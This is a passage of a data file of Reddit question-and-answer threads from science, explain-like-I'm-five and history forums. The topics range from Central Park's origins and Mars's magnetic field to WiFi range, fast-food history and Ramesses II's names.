Village) and other minority groups.\n\nKeep in mind Manhattan is an island.  It still takes effort to get off it now.  Imagine then.  People still wanted a place to get away from everything and they had the space for it.  I don't think anyone back then predicted what it would look like today.\n\n", "When this park was created and developed it was a much different NYC. There just simply wasn't a demand or desire for property at the level there is today. The affluent probably already had property and wouldn't bother with that land. Mostly Irish and former salves lived there raising cattle and farming. The land was valued at 5 million dollars. Not exactly cheap. Plus there was no place in the city to escape the gross situation that was manhattan at this time. So basically if anyone was willing to spend 5 million dollars they probably wouldn't have bothered to deal with the situation. Central Park is a large contracted landscape. It wasn't desirable prior to its redesign. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4ez82t", "title": "What happens when you use ackermann's function with graham's number as it's arguments?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ez82t/what_happens_when_you_use_ackermanns_function/", "answers": {"a_id": ["d24lnf0", "d24mksb"], "score": [6, 14], "text": ["This has actually been discussed [here](_URL_0_).", "Nothing much, to be honest. You get an absurdly large number that you wouldn't be able to ever write down, compute or even know due to it having way, way, **way** more digits than there are planck lengths in the entire Universe, but arguing from a theoretical viewpoint, it's basically adding two numbers together a **lot** of times, which is perfectly doable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://qntm.org/clarkkkkson"], []]}
{"q_id": "z77lt", "title": "How does the mold on my bathroom ceiling obtain nutrients?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z77lt/how_does_the_mold_on_my_bathroom_ceiling_obtain/", "answers": {"a_id": ["c623acv", "c6243bj", "c6244cs"], "score": [21, 3, 21], "text": ["Found this:\n\n*Some materials, such as \nceramic tile, glossy paint, and glass, do not support mold growth when they are clean. However, the slightest \namount of soil on their surfaces will supply the necessary nutrients for mold growth. Soap \"scum\" left on \nshower stalls and shower curtains can provide the required nutrients for mold growth*\n\n[Link](_URL_0_)", "Depending on the material that is used for your ceiling, it could be dry wall and the mold is feeding off the moist paper.", "Fungi are master degraders and can use many diverse sources of nutrients.  They can breakdown the wood, the paint, etc. for growth.  In addition their growth pattern is by a network of hyphae so the mold you see may not be eating anything it could be a search party looking for richer nutrients with a base in the wood within your ceiling.\n\nI've grown fungi on something as simple as deionized water and agar plates.  Somehow they can live on the trace amounts of nutrients that provides.\n\nIn other tests, I found that most types of fungi can grow quite well on used motor oil poured on autoclaved soil.  This shows that degrading hydrocarbons for energy is not a problem.  Your paint can provide a similar carbon source!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ringling.edu/fileadmin/content/ehs/pdf/Mold_Prevention.pdf"], [], []]}
{"q_id": "26pt5i", "title": "Can the Large Hadron Collider be used to make new elements?", "selftext": "I know that the GSI Helmholtz Centre for Heavy Ion Research uses an accelerator to produce these elements, but I doubt there is any accelerator out there that is bigger than the LHC and would be able to smash more elements together.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26pt5i/can_the_large_hadron_collider_be_used_to_make_new/", "answers": {"a_id": ["chtcces"], "score": [10], "text": ["Hi Apollo, in it's current configuration, the answer is yes and no. I'll explain the no first:\n\nNo, because the LHC operates energies that are too keep nuclei intact. The normal way to create heavy elements is to slam two lighter elements together. If you were going to take the 7TeV proton beam or the 3.5TeV lead ion beam and smash it into a target, the target would be destroyed. Just take a look at the binding energies of atoms compared to these beam energies: [Millions of eV versus *Trillions* of eV](_URL_0_).\n\nYes, however, because there are lots of less energetic interactions that take place as the debris from collisions hit various parts of the detector structure. In the 6 year on-and-off run history of the LHC, it's likely that some of these interactions have resulted in new elements. There's just no way to find them!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/File:Binding_energy_curve_-_common_isotopes.svg"]]}
{"q_id": "1t8nui", "title": "why old video games were responsive and snappy but tv service menus and dvd menus etc. are laggy as all hell?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t8nui/eli5_why_old_video_games_were_responsive_and/", "answers": {"a_id": ["ce5ggmd", "ce5h4xk", "ce5ldbk"], "score": [14, 33, 7], "text": ["Usually because video games are taking from the CD/DVD/Blu-Ray and stored onto the RAM of the device. \n\nDVD menus are read directly from the disc and can only go as fast as the RPM of the disc drive.\n\nTV Menus are usually streaming information in real time from satellite, or  cable which can cause lag, similar to buffering.", "Best answer I have is poor programming and cheap hardware. There is no reason that these devices can't cache a little data in the RAM and be responsive.\n\nIt's difficult to determine this sort of thing before you buy a device, so manufacturers don't find it profitable to spend money on optimizations.", "As someone working in TV industry and having to deal with this on a daily basis. \n\nThe issue is software quality being outsourced to the lowest bidder. Its a real shame to see multisoc + PQ FPGA ultra hd boards having issues animating a simple flash menu.\n\nTheyd rather have 200 people at 50$ a day then 50 at 400$. The only measure of succes is wether it works or not. Code quality speed and inteligence are at the bottom of the list. ( aka never looked at )"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ro9ja", "title": "To what degree to research ethical standards \"slow down\" scientific discovery?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ro9ja/to_what_degree_to_research_ethical_standards_slow/", "answers": {"a_id": ["c47cwtm", "c47cx1t", "c47d34s", "c47e6no"], "score": [3, 15, 7, 3], "text": ["I'm not quite sure that ethical standards impinge on scientific discoveries. The internal mechanisms for research studies in non-primates generally do not interfere with the proposed research in any major way. A general exception is that a certain proposed method might cause distress to the subjects, which could be altered or explained as necessary. \n\nI think we could make the case that going to the internal research board and having your proposal critiqued could even bolster your research plan. In addition, if a study is conducted in an unethical manner, the results may then be considered suspicious. \n\nAs far as external ethical concerns, that depends on the level of interference. For example, the NIH has not been able to fund the creation of new human embryonic stem cell lines due to the Dickey-Wicker Amendment. Most new lines have been produced internationally, in the private sector or through state level grants. This has impeded the science somewhat, whereas Germany has outlawed the creation of new embryonic stem cell lines (importation of existing lines are still legal).\n\nReferring again to stem cells, patents could be viewed as a measurement of ethics. Recently, the EU court struck down a patent held by a researcher that pertained to deriving neural stem cells from embryonic stem cells. The court stated that a patent depending even indirectly on human ES-cell lines is outlawed on moral grounds. By doing so, the ruling could prompt funding agencies in the EU to stop funding stem cell research if it seen as immoral. This would be a critical blow to scientific discovery in the EU.\n", "For one, human cognitive neuroscience. Although we do have a huge number of willing volunteers, progress is limited by the fact that we can't cut people's heads open and use probes and electrodes to administer drugs, cause lesions, in/activate specific areas, etc. We rely on fMRI, EEG, MEG, and other non-invasive techniques to measure brain activity in response to some stimulus.  \n\nThere are limited cases where invasive research is allowed in humans like electrode arrays in the brains of epileptics (because the electrodes are already there for therapeutic purposes), paralyzed individuals like [Matt Nagle](_URL_0_) who volunteer for brain computer interface studies, or behavioral studies on people who have had portions of their brain removed ([HM](_URL_1_) had bilateral resection of his medial temporal lobes, which includes structures like the hippocampus which are responsible for helping to form new memories). \n\nSimilarly, we depend on studying people with brain damage (from stroke, epilepsy, direct injury, or otherwise) to get a picture of what deficits are linked to damage in which areas, but this is a very ramdom approach as we cannot control where people have heir brain damage. \n\nWhile I cannot speculate on a timeline of how things would be different were the atrocious experiments of the Nazi era allowed to continue, the ethical restrictions which are in place do slow the process of discovery by limiting the kinds of experiments we can do, the kinds of organisms we can do it on, and the significance of the data we do collect. But that is NOT to say that I think the ethical restrictions are bad or overly restrictive.", "It mostly depends on what kind of research you're doing.  Most of what we know about joint reconstruction comes from the Holocaust.  A doctor would ask a soldier to break a prisoners leg in a controlled way, and they'd try to put it back together.  I think there was a lot of toxicity work done in the same way, round up a bunch of guys and give them varying doses of something nasty to find LD50.  \n\nSo this research kind of got speeded up, but it did so by *creating the problem,*  if those legs had never been broken the research would have been slowed down by waiting for legs to break, but it would have gotten done after about the same number of legs.  By breaking legs the process got speeded up, but it didn't actually cause any good: at the end of the day the same number of legs get broken either way, the problem is just as large.  They didn't accelerate leg-fixing research, they accelerated the need to fix legs.  The science took place faster measured in years, but at exactly the same rate measured in legs (which is the appropriate measure, who cares if you solve the problem of broken legs if leg breaking only happens within your study). \n\nBut there's another problem, this is only a good idea in war if you're trying to get an advantage on another nation, you accelerate your research by taking short cuts, but you slow down their research by witholding your findings.  Science doesn't advance faster, it advances slower, everybody has to replicate results because no one is sharing.\n\nBesides other kinds of basic research aren't accelerated in this way, in fact, if a question is really hard it's often better to work slowly and figure everything out about it.  It's not more effective research to kill 50,000 mice, than 5 if you don't have the resources or ability to gather useful data from 49,995 of those mice.  There might be a little time wasted filling out he proper ethics forms but that's a few hours a year.   \n\nThere's also practical concerns.  Humans eat a lot compared to rodents.  They yell loudly when you try to strap them down.  I don't need the hassle.  If I run a mean experiment on people without their informed consent, they won't come back, I can't do future studies.  \n\nMost ethics are just good practices for doing useful, sustainable research, if we didn't have these standards, we would be way behind where we are now.", "Lets put it this way. No one has ever directly proved that smoking causes lung cancer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Matt_Nagle", "http://en.wikipedia.org/wiki/HM_\\(patient\\)"], [], []]}
{"q_id": "3uiach", "title": "why is it sometimes a popular connotation to assume that attractive people are less intelligent than others?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3uiach/eli5why_is_it_sometimes_a_popular_connotation_to/", "answers": {"a_id": ["cxf2321", "cxf29kw", "cxf2zns", "cxf4ew6", "cxffkwx"], "score": [36, 7, 11, 3, 2], "text": ["2 Primary reasons:\n\nAnecdotal evidence, people thinking instances of it and generalizing.\n\nCompensation thinking... people seem to have an unfounded belief that strengths come with weaknesses. If someone's attractive, they must be stupid...or the opposite, if someone is smart they must be socially inept. The idea that some people are good without major drawbacks is uncomfortable to some people, it makes them feel better to assume the rich guy is unhappy or cruel or the pretty girl is an idiot. \n", "For the most part, if you're attractive, you don't *need* to be intelligent. Thus many choose not to develop their mind.\n\nConversely, intelligence is the primary saving grace of ugly people. They have all that time on their hands because they're not dating.", "Driven by hunger, a fox tried to reach some grapes hanging high on the vine but was unable to, although he leaped with all his strength. As he went away, the fox remarked 'Oh, you aren't even ripe yet! I don't need any sour grapes.' People who speak disparagingly of things that they cannot attain would do well to apply this story to themselves. -- Aesop's Fables, \"The Fox and the Grapes\" (e.g. ancient greek wisdom).\n\nStudies actually show that people assume attractive people are smarter and better than their less-attractive peers.\n\nAnd that creates a \"sour grapes\" desire to tear down the lucky few, so the couter-stereotype of \"pretty and stupid\" is a cultural artifact of that attempt to wipe the special off the face of the enemy.\n\nSo we have created myth of \"them trading on their looks\" and so not needing to be \"smart\" or \"wise\" or them being \"lazy or naive, because they never had to overcome anything\" (that thing being the neurological assumption that ugly people are weak and dumb.)\n\nSo it's basically a resentment created as a reaction formation to the brain's natural tendency to raise up attractive people as ideals.", "People want to believe the world is fair. If something bad happens to someone we like to think they did something to deserve it. If you do something good you like to think that good things will happen to you. If someone is attractive we like to think they are less intelligent because it wouldn't be fair if they were attractive AND smart, and likewise if someone is smart we like to think they are ugly because it wouldn't be fair if they were smart and attractive. As you probably know, none of these things are actually necessarily true.", "I wish television and movie writers would leave my name alone. \nEvery Jane is always a dumb blonde. \nIf it's a Jayne, she a dumb blonde and a whore. \nEven the one male Jayne was an idiot! He was the hero of Canton though...\n\nMy name is Jayne. I'm very intelligent, my hair is dark blonde and I'm definitely not a whore dammit. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4mnblo", "title": "What do we know about Tiananmen Square's tank man?", "selftext": "This picture was posted to /r/pics _URL_1_ on this thread: _URL_0_\n\nwith a lot of speculation, do we know who he is, where he came from, what his fate was?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4mnblo/what_do_we_know_about_tiananmen_squares_tank_man/", "answers": {"a_id": ["d3wu3sn", "d3ya1dn"], "score": [67, 2], "text": ["This has been asked before, seems like we don't really know (which is quite unsurprising): _URL_0_", "The book Tank _URL_0_ has a chapter both on the type of tank involved and the mystery of the man in front."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/pics/comments/4mka10/this_happened_27_years_ago_today/", "http://i.imgur.com/4c8pJL5.gifv"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/35dzrd/does_anyone_know_what_happened_after_the_picture/"], ["http://www.amazon.com/Tank-Patrick-Wright/dp/0142001910"]]}
{"q_id": "1hp8sn", "title": "what the difference is between the 7 types of twins", "selftext": "there was a post today about there being 7 types of [twins](_URL_0_) but I would like someone to explain this in terms I can understand.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hp8sn/eli5_what_the_difference_is_between_the_7_types/", "answers": {"a_id": ["cawj5a1"], "score": [15], "text": ["As the wiki article states, the 3 most common types are all *fraternal*. This means that the mother's ovaries released two eggs instead of one, and both were fertilised. The three types of fraternal twin are male-male, male-female, and female-female. \n\nThe next most common type is identical twinning. This occurs when one egg is fertilised but it splits into two embryos. The resulting twins thus share the same genes and so are identical. \n\nFinally, there are the very rare half twins. These occur when two sperm enter one egg. The egg splits, and one sperm fertilises one part of the egg and the other sperm fertilises the other part. This means both embryos will have genes from the egg, but each one will have genes from only the one sperm that fertilised it. \n\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Twin#Fraternal_.28dizygotic.29_twins"], "answers_urls": [[]]}
{"q_id": "b0l20f", "title": "Is it possible to give a planet without an active core a magnetic field?", "selftext": "I'm mostly thinking of Mars, inspired by a top post in this sub about compass use on the planet. I know the reason Mars is barren is it's lack of a protective magnetosphere, but could the planets core be jump started or an artificial field be developed? Obviously both require vast amounts energy but let's pretend such energy is available for said purposes.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b0l20f/is_it_possible_to_give_a_planet_without_an_active/", "answers": {"a_id": ["eifb7x9", "eifd0kk", "eifk06j", "eift58w", "eighw3d"], "score": [65, 3, 15, 3, 2], "text": ["I don't really know where the research is now but NASA talked about the feasibility of placing a magnetic field-generating satellite at the Mars-L1 Lagrange Point to shield Mars from the solar winds as seen in the diagram: _URL_1_\n\n_URL_0_", "Mars is not thought to have a fully solidified core. It is just that it is stably stratified to convection (there is debate as to how). There is a theory that the Martian dynamo may turn back on (basically this assumes that there is a small temperature gradient through the core but as the surface cools this gradient increases thus becoming unstable to convection). So it is possible we dont need to do anything other than wait and Mars will get a magnetic field again.", "It seems that a natural, sustainable way to potentially restart a planetary dynamo would be to place a relatively heavy moon in orbit around it that could exert enough tidal force on the planet to heat the core further, and induce convection, thus kickstarting a magnetic field.    Ceres seems too small unless it orbited Mars very closely to accomplish this, however perhaps a body the size of Triton?     \n\n\nTo the maths!", "Sure. Just build a load of electromagnets on the surface and there you go.\n\nIt's probably not worth it though. If we ever develop the means to give Mars a dense atmosphere over, say, less than a century then keeping it \"topped up\" against the solar wind's erosion is no problem.", "Probably not, but it wouldn't be necessary anyway. If we terraformed Mars, its atmosphere would last at least a hundred million years, so there's no danger of it losing its atmosphere on any time scale that we care about. Also, while a magnetic field might reduce atmosphere loss due to sputtering, there's reason to believe that loss is negligible. Even if Mars had a magnetic field like Earth's, it would lose atmosphere nearly as fast as it does now.\n\n[_URL_0_](_URL_0_)\n\n > We find that the solar wind is not a strong driver for the rate of atmospheric ion escape, which is rather driven by solar ionizing radiation. Adding up the estimated ion escape rate over 4 billion years, accounting for the stronger solar wind and solar radiation from the younger Sun, we find that at most roughly 9\u00a0mbar surface pressure has been removed by the solar wind through ion escape. This amount is alone too small to explain the removal of the early Martian atmosphere.\n\nMars lost its atmosphere (again, over hundreds of millions of years) mostly because it has much less gravity than Earth. There's nothing we can do about its mass."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://m.phys.org/news/2017-03-nasa-magnetic-shield-mars-atmosphere.html", "https://3c1703fe8d.site.internapcdn.net/newman/csz/news/800/2017/1-nasaproposes.jpg"], [], [], [], ["https://agupubs.onlinelibrary.wiley.com/doi/full/10.1029/2018JE005727"]]}
{"q_id": "b3t95d", "title": "Why did burgers n fries joints (like McDonalds, Whataburger and Burger King) become so successful as franchises? What social and economic changes made fast food king?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b3t95d/why_did_burgers_n_fries_joints_like_mcdonalds/", "answers": {"a_id": ["ej3flq2"], "score": [208], "text": ["A word beforehand: I can not give you an answer to the first part of your question (why did they become successful as franchise and why especially those joints?). The second part however falls into my expertise, as I\u2019m writing my MA-thesis on time and acceleration. My answer will include a good junk sociology, not only because I\u2019m a stickler for social theories, but also because you ask about ***social*** and ***economic*** changes. I\u2019ll try to break down the theories as much as possible, so it will be understandable for lay persons. But since we\u2019re on the history subreddit (and I\u2019m majoring in history) I\u2019ll still try to give you a historical perspective. Also, I can only really talk about Europe. I\u2019d assume you can apply this answer to the US as well, but don\u2019t hold me accountable. Finally, English is not my main language, so please have mercy. And it\u2019s getting pretty late here, I\u2019ll be answering follow ups tomorrow!\n\n**Short answer:**\n\nIt has to do with the ***acceleration*** of our everyday life which mainly (but not only) is due to capitalism. We need to do things ever faster to hold up with society, which is a cycle we can only hardly break through. Fast food (and other things) are a sign of the times, in which we are incentivised shorten our recreational time to be ever more productive as a work force.\n\n**Longer answer:**\n\nThere are two works I\u2019d like to appoint you to for this question. The first one is a paper by ***E.P. Thompson***, called ***\u2018Time, work-discipline, and industrial capitalism\u2019*** ([_URL_0_](_URL_0_)). The text is a little outdated, but much of it still holds true and is very well written, so check it out! Thompson talks about how capitalism reshaped our relation to time. Before capitalism, humans generally would orient themselves to nature (i.e. get up with the sun, fish when the tides are right, build a coffin when someone died). Mind you, that time was still socially structured, that mean not simply \u2018given\u2019 by nature, we\u2019re not talking about a deterministic \u2018nature time\u2019. The coffin would be one example for this, religion is another. For a large part of the middle ages, religion used to play a huge role in everyday lives; especially so in time keeping. Calendars, holidays, church bells and so on are a great example for this. With the advent of capitalism however, there was a need for another sort of time keeping. With manufactures came the advent of clock-time. (1) The highly coordinated labour in factories, especially on the assembly line, required the workforce to be punctual \u2013 or *on time*. Where as no one really cared when Marc the peasant milked his cow, Marc the factory worker had to be in the factory at exactly five o\u2019clock in the morning. If not, the assembly line would not be complete, and the producers would lose money. This is also visible in factory regulations of the time, which imposed draconic punishments for being late or skipping work. (2)\n\nAs you see, capitalism drove the need for an abstract clock-time. Abstract in the sense that this clock-time was no longer bound to the specific work you had to do (fishing, milking, woodworking). The saying \u2018time is money\u2019 was being widespread in the time, not only by factory owners, but also many religious leaders and thinkers. Now we\u2019re still a far way from fast food, but I think you kind of get the point here: through the advent of an abstract clock-time, it was possible to \u2018save\u2019 time. You could be more time-efficient. It suddenly mattered, how fast you were working. Whereas the peasant in the field (without modern equipment, anyways) could only do so much to increase the fruits of his labour, the factory worker (and later all other workforce under the logic of capital, that means the logic of self-valorising value) was to be ever more productive, so he could produce ever more value. From this economic and social change, it is only a small step to fast food \u2013 and other stuff, like cigarettes. (3)\n\nThe second work I want to introduce you to, albeit only briefly, is that of Hartmut Rosa. Rosa is a sociologist who thinks and writes about acceleration and alienation. His theory, in short, is that our current society lives through a time of extreme acceleration. Things that used to be cross-generational (eg. fashion) change now multiple times within one generation. You as an individual are no longer working the same job your fathers and forefathers did for as long as you life, but you change jobs multiple times during your lifetime. He also thinks that the main source for this acceleration is capitalism and its endless strive for more profit, which results in more pressure on individuals to be more productive. But he also has other interesting explanatory approaches, like the idea that through the advancement of atheism, many lost the believe in an afterlife and thus think that they must experience all things during they\u2019re lifetime. Since they think that there comes nothing after death, they cannot simply leave things out. This results in some sort of \u2018cultural pressure\u2019 to do more things and \u2018live life to your fullest\u2019.\n\nTo sum things up: fast food is a result of the acceleration through capitalism. Eating faster means having more time in which you can be more productive (although as we know that is often not the case).\n\n & #x200B;\n\n(1) The decisive century for this would be the 19th century. Although clocks existed already in the 14th century, they used to be very inaccurate and were often a status symbol rather than a time telling device. They changed from the former to the latter through the advent of manufactories,  as workers demanded a fair, objective way of limiting their work days, since the hand-ringed bells used before mechanical clocks were frequently used to make work days longer and/or meal times shorter, if the producers required so. For more see: Martineau, Jonathan: Time, capitalism and alienation. A socio-historical inquiry into the making of modern time. Chicago 2015.\n\n(2) I\u2019ve analysed some 200 factory regulations of Switzerland between 1840 and 1914, of which most share a same pattern: for being late you could get locked out of the factory, meaning you lost your days salary. On top of that you could get a hefty fine and sometimes you would also had to pay for damages (ie. you had to pay for the replacement staff). Some factories instantly dismissed late workers. Those punishments were not exclusive, they could be all added together at will. This was in a time where most factory workers lived very poorly, so already the loss of your days salary could mean impoverishment of you and your family. For more see (german source only, sorry):  Janser, Jacqueline: \u201cIm Takt der Maschinen\u201d. Das Arbeitsrecht des Kantons Glarus im 19. Jahrhundert unter besonderer Ber\u00fccksichtigung der Fabrikgesetzgebung. Z\u00fcrich 2010.\n\nFlohr, Bernd: Arbeiter nach Mass. Die Disziplinierung der Fabrikarbeiterschaft w\u00e4hrend der Industrialisierung Deutschlands im Spiegel von Arbeitsordnungen. Frankfurt 1981.\n\n(3) Reichard for example argues that it was also capitalism \u2013 and the shorter breaks in work times \u2013 that lead to the advance of cigarettes compared to other tobacco products like the pipe, which is smoked way slower. See (german only): Reichard, Tom: Die Zeit der Zigarette. In: Geppert/K\u00f6ssler (eds.): Obsession der Gegenwart. Zeit im 20. Jahrhundert. G\u00f6ttingen 2015.\n\n & #x200B;\n\n**General sources:**\n\nThompson, Edward Palmer: Time, work-discipline, and industrial capitalism. In: Past  &  Present, No. 38 (Dec., 1967).\n\nRosa, Hartmut: Resonanz: Eine Soziologie der Weltbeziehung. Frankfurt am Main 2016.\n\nRosa, Harmut: Alienation and Acceleration. Towards a Critical Theory of Late-Modern Temporality. Pennsylvania 2010."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://academic.oup.com/past/article-abstract/38/1/56/1454624?redirectedFrom=fulltext"]]}
{"q_id": "e4hpwo", "title": "why does a phones wifi control a drone up to 150ft in the sky, but home wifi only works well within 30ft or less?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e4hpwo/eli5_why_does_a_phones_wifi_control_a_drone_up_to/", "answers": {"a_id": ["f9b3010", "f9b8eor", "f9bsyug", "f9bwnn9", "f9cesvi"], "score": [347, 4, 14, 32, 2], "text": ["You are usually in line of sight to the drone, outside, but in the house there are many obstructions such as walls, furniture, and items like clothing that absorb the radio waves.", "At microwave frequencies on which WiFi operates, the signal is reduced significantly by any obstacles in between the transmitter and receiver (such as walls, concrete, furniture, people, trees, moreso with anything that has a high water content). The fact that water absorbs microwave radiation (specifically at 2.4GHz, same as WiFi, causing it to heat up) is the basis of how a microwave oven works.\n\nHowever, if there is unobstructed line-of-sight between the transmitter / receiver which will be the case of a drone in the open air, the signal can go a very very long way despite WiFi being very low power. Some microwave links between towers / buildings can work over distances of 50km+ using the same power output as a home WiFi router using directional antennas.\n\nIf the drone loses the line-of-sight e.g. if it goes behind a building / hill / trees, you are likely to lose it unless you can get the line of sight back. Some drones are programmed to take automatic actions such as increasing altitude / reverse course and backtrack in an attempt to restore signal.", "Everybody talking eye of sight. But those sick videos of drone racing inside abandoned buildings? They set some kind of beacons or signal repetears?", "How buildings and homes are built are death to Wi-Fi - basically steel studs, nails, screws...anything short and metal are going to block or attenuate the Wi-Fi radio signal.\n\nWorse is the higher frequency they go, the worse that attenuation gets.\n\n2.4GHz has a wavelength of about 12.5cm and 5GHz is about 6cm so those nails, steel studs, the edges of the studs and screws are all perfect for reflecting and interfering", "With a drone, there is *usually* nothing in the way. Inside, there's different materials which are better or worse at letting those radio waves pass through."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "a1d42m", "title": "why can't people with dementia draw clocks correctly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a1d42m/eli5_why_cant_people_with_dementia_draw_clocks/", "answers": {"a_id": ["eaotxln", "eap16wx", "eaqmkyz"], "score": [67, 20, 3], "text": ["There are several aspects of the clock-drawing test.  You have to plan ahead, and maintain a symmetric position for the numbers.  Then you have to add hands, pointed at the time the doctor asks you to use, which is often ten minutes before 4 or ten minutes after 11.  This means putting the hand on the right side of the number.  There are many metrics for scoring how well someone draws the clock face, and there is pretty good correlation to more involved tests.  That's why the clock test is so common, it's super easy and doesn't take any equipment besides a pencil.  If there is a change in scores, then it might be worth a more involved test.", "It's one way to test for this deficit called hemispatial neglect where one side of your world is basically ignored so you end up only drawing half of a clock. You can also see this in patients who have strokes.", "\nI was just thinking, if it's a younger person, they might not know what an analog clock looks like, regardless of dementia.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "g0uogm", "title": "What patterns of swords were commenly issued to British indian army cavalry units during the early 20th century?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/g0uogm/what_patterns_of_swords_were_commenly_issued_to/", "answers": {"a_id": ["fnc8797"], "score": [8], "text": ["Indigenous cavalry units in British India were split among three \"Presidency armies\" and the more central India Army, which absorbed the other forces in 1895, and then all of them were subsumed by Lord Kitchener in his reforms into the Army of India from 1903-1947; cavalry brigades were typically formed of one British and two Indian regiments. While the British were issued weapons and gear, the Indian regiments used the *silladar* system for recruitment, where they would buy their horse and equipment, and would be cashed out on retirement. \n\nWhich is to say, there was room for variation in cavalry swords in India during this period. Most of the troopers in British cavalry regiments in the early 1900s would be using the 1887 pattern cavalry trooper sword, although it was possible to see some older models mixed in there, as well as conversions (a new blade on an old hilt, etc.), and officers (who bought their own weapons) could have off-pattern swords. In 1908 the British adopted a new pattern of cavalry sword with a heavy dish guard and a straight blade, which would be issued to troopers and phasing out the older models; in 1912 the pattern was adopted for officers.\n\nSeveral patterns of sword, including the 1887 and the 1908 were created in variant patterns explicitly for service in India. A 1910 variant which combined a heavy tulwar-style blade on a three-bar hilt was created, but due to the outbreak of the Great War in 1914 was never put into production; the Indian P1908 instead became the standard weapon.\n\nIt should also be mentioned that British cutleries became major manufacturers of blades, which were in turn exported to India and fitted onto hilts by Indian blacksmiths, resulting in a large number of tulwars, sabers, and other weapons whose blades were made and proofed in Britain. These were not, as I understand, exactly *issued* to Indian cavalry units, but purchased by the members as part of their entry into the unit, and unit preferences as far as style and length could vary considerably. \n\nMy general reference for such works is *The British Cavalry Sword From 1600* by Charles Martyn, but there's a lot more to Indian cavalry swords of the period than what's in that sole book. You might also look at the folks for r/swords who might have better sources than I do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3b2dtx", "title": "how can wikileaks release documents obtained through the sony hack without getting in trouble?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3b2dtx/eli5_how_can_wikileaks_release_documents_obtained/", "answers": {"a_id": ["csi5g9s", "csicj3o", "csidud7", "csii6yg", "csilj4p"], "score": [161, 24, 9, 10, 3], "text": ["Wikileaks has never been particularly concerned about \"getting into trouble\" for releasing information that others wish wasn't revealed.\n\nIf they are willing to release things the US Government doesn't want to have released... I'm pretty sure they are not scared of Sony.", "They publish all of their documents on the Darkweb. If you don't know what that is, think of it as a massive part of the internet which you can't access from regular browsers. It can only be accessed through browsers like Tor, which reroutes your IP address through several relays making it 100% anonymous.\nSo in short, they do it anonymously but the founder doesn't care all that much anyway.", "Wikileaks is in trouble, the US government would destroy them if they could.  But it's not an american site.", "what ever made you think they're not in trouble? :P", "Sony could probably try to take the documents down through legal process. Occasionally, companies have tried that and I think some even got the main site shut off for a while.\n\nAlmost always, however, this achieves only three things:\n\n* Hundreds of mirrors get hosted all over the place.\n* Hundreds of news articles report this and make people want to see the documents.\n* Your company gets branded as the shithead who tried to shut down a free speech site and likely attacked by Anonymous.\n\nThus, it would be dumb to try.\n\nOn the legal level: First, not everything where you may thing \"that must be illegal\" is actually illegal. Second, they might also have some defenses, for example freedom of the press. What they are doing might not even be illegal, since they didn't steal the documents and depending on the country, the documents may not have copyright protection or the publication may fall under some kind of fair use claim. Since they didn't steal the documents themselves, copyright might be the only legally problematic thing for them (again depending on the country, some countries do have laws about redistributing stolen data, but many don't).\n\nI believe that their internal structure (identities of people, location of actual back-end servers) is also not well known, making legal process and takedowns difficult on a technical level.\n\nIt's a combination of these that keeps them out of trouble."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "6q3rfb", "title": "Was Ramesses II's name lost from history?", "selftext": "So I was watching BBC's Egypt miniseries from 2005 and it makes the claim that when Jean-Francois Champollion deciphered Ramesses's cartouche, \"his name was spoken aloud for the first time in a 1000 years\".\n\nWas his name really lost until the decipherment of hieroglyphs, and if so, how could anyone know whether this pronunciation was correct?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6q3rfb/was_ramesses_iis_name_lost_from_history/", "answers": {"a_id": ["dkxmbhz"], "score": [2], "text": ["Egyptian kings had 5 names by the Middle Kingdom, so the answer to this question depends on which name of Ramesses you're referring to. The names were as follows:\n\n+ The Horus name, written in a serekh (palace facade) with a falcon perched on the top. This name marked the king as the mortal manifestation of Horus.\n\n+ The Nebty or Two Ladies name, written with the two tutelary deities of Egypt, Nekhbet and Wadjet. This name marked the king as the ruler of Upper and Lower Egypt.\n\n+ The Golden Horus name, written with the Horus falcon atop the hieroglyph *nbw*, \"gold.\" This name is not fully understood, but it may have something to do with the solar aspects of Horus.\n\n+ The Praenomen or throne name, written in a cartouche (oval with a horizontal line at the base). This name is marked by the Egyptian phrase 